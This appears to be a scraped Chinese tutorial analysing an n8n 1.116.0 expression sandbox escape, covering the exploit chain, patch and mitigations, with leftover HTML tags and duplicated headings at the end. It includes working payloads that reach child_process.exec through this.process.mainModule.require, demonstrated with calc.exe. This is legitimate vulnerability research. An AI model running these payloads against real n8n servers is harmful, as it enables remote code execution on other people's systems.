n8n 表达式沙箱逃逸漏洞分析与复现教学<\/h1>

漏洞概述<\/h2>
本教学文档详细分析n8n工作流自动化平台中的表达式沙箱逃逸漏洞，该漏洞允许攻击者通过特制表达式实现远程代码执行。<\/p>

环境搭建<\/h2>

版本信息<\/h3>

漏洞版本<\/strong>: n8n 1.116.0<\/li>

表达式引擎<\/strong>: @n8n\/tournament<\/li> <\/ul>
安装步骤<\/h3>

下载指定版本代码：<\/li> <\/ol>
https:\/\/codeload.github.com\/n8n-io\/n8n\/zip\/refs\/tags\/n8n%401.116.0 <\/code><\/pre> 解决依赖安装问题：<\/li> <\/ol> git init <\/span><\/span>pnpm install <\/span><\/span>pnpm build <\/span><\/span><\/code><\/pre>技术背景<\/h2> 表达式引擎特性<\/h3> n8n使用tournament作为表达式解析引擎，该引擎支持执行JavaScript代码。关键特性包括：<\/p> 表达式格式：={{expression}}<\/code><\/li> 执行上下文：this<\/code>指向传入的data值<\/li> 执行机制：通过tournament.execute()<\/code>方法解析表达式<\/li> <\/ul> 表达式执行流程分析<\/h3> 入口函数<\/strong>：tournament.execute()<\/code><\/li> 评估阶段<\/strong>：进入evaluate()<\/code>方法<\/li> 函数构建<\/strong>：构建执行函数<\/li> 实际调用<\/strong>：通过fn.call()<\/code>执行表达式<\/li> <\/ol> 漏洞原理分析<\/h2> 关键发现<\/h3> 在n8n 1.116.0版本中，表达式执行存在上下文污染问题：<\/p> this<\/code>指向全局对象而非预期上下文<\/li> 通过this.process.mainModule<\/code>可访问Node.js核心模块<\/li> <\/ul> 漏洞利用链<\/h3> this → global对象 → process.mainModule → require() → 任意模块加载 <\/code><\/pre> 漏洞复现<\/h2> 基础测试<\/h3> 首先验证this<\/code>指向：<\/p> =<\/span>{{this<\/span>}} <\/span><\/span><\/code><\/pre>确认返回全局对象而非受限上下文<\/p> 命令执行构造<\/h3> 利用Node.js立即执行函数实现代码执行：<\/p> {{this<\/span>.process<\/span>.mainModule<\/span>.require<\/span>('child_process'<\/span>).exec<\/span>('calc.exe'<\/span>);}} <\/span><\/span><\/code><\/pre>完整攻击向量<\/h3> 构造立即执行函数确保代码在表达式评估时执行：<\/p> {{(function<\/span>(){ return<\/span> this<\/span>.process<\/span>.mainModule<\/span>.require<\/span>('child_process'<\/span>).exec<\/span>('calc.exe'<\/span>); })()}} <\/span><\/span><\/code><\/pre>补丁分析<\/h2> 修复提交<\/h3> 官方修复commit：08f332015153decdda3c37ad4fcb9f7ba13a7c79<\/p> 防护机制<\/h3> 前置检查函数<\/strong>：添加before: [FunctionThisSanitizer]<\/code><\/li> 属性限制<\/strong>：对三个关键属性进行安全检查： mainModule<\/code><\/li> binding<\/code><\/li> _load<\/code><\/li> <\/ul> <\/li> <\/ol> 安全检查实现<\/h3> 使用isSafeObjectProperty<\/code>函数检查属性访问：<\/p> 检查属性：__proto__<\/code>, prototype<\/code>, constructor<\/code>, getPrototypeOf<\/code><\/li> 限制危险模块访问<\/li> <\/ul> 漏洞验证步骤<\/h2> 手动测试<\/h3> 在n8n表达式编辑器中输入测试payload<\/li> 观察命令执行结果（calc.exe弹窗）<\/li> 确认漏洞存在性<\/li> <\/ol> 调试方法<\/h3> 设置断点在FunctionThisSanitizer<\/code>检查点<\/li> 跟踪属性访问流程<\/li> 验证绕过可能性<\/li> <\/ol> 技术要点总结<\/h2> 关键漏洞点<\/h3> 上下文污染<\/strong>：this<\/code>绑定到全局对象<\/li> 模块加载失控<\/strong>：通过mainModule<\/code>无限制加载模块<\/li> 执行机制缺陷<\/strong>：缺乏适当的沙箱隔离<\/li> <\/ol> 利用条件<\/h3> 拥有表达式编辑权限<\/li> 目标运行在Node.js环境<\/li> 未应用安全补丁的n8n版本<\/li> <\/ul> 防护建议<\/h2> 及时更新到已修复版本<\/li> 限制表达式编辑权限<\/li> 实施输入验证和过滤<\/li> 使用最小权限原则运行n8n服务<\/li> <\/ol> 本教学文档完整呈现了漏洞分析、复现和防护的全过程，为安全研究和防护措施提供技术参考。<\/p>

n8n 表达式沙箱逃逸漏洞分析与复现教学<\/h1>

漏洞概述<\/h2> 本教学文档详细分析n8n工作流自动化平台中的表达式沙箱逃逸漏洞，该漏洞允许攻击者通过特制表达式实现远程代码执行。<\/p>

环境搭建<\/h2>

技术背景<\/h2>

漏洞原理分析<\/h2>

漏洞复现<\/h2>

补丁分析<\/h2>

修复提交<\/h3> 官方修复commit：08f332015153decdda3c37ad4fcb9f7ba13a7c79<\/p>

漏洞验证步骤<\/h2>

技术要点总结<\/h2>

漏洞概述<\/h2>
本教学文档详细分析n8n工作流自动化平台中的表达式沙箱逃逸漏洞，该漏洞允许攻击者通过特制表达式实现远程代码执行。<\/p>

修复提交<\/h3>
官方修复commit：08f332015153decdda3c37ad4fcb9f7ba13a7c79<\/p>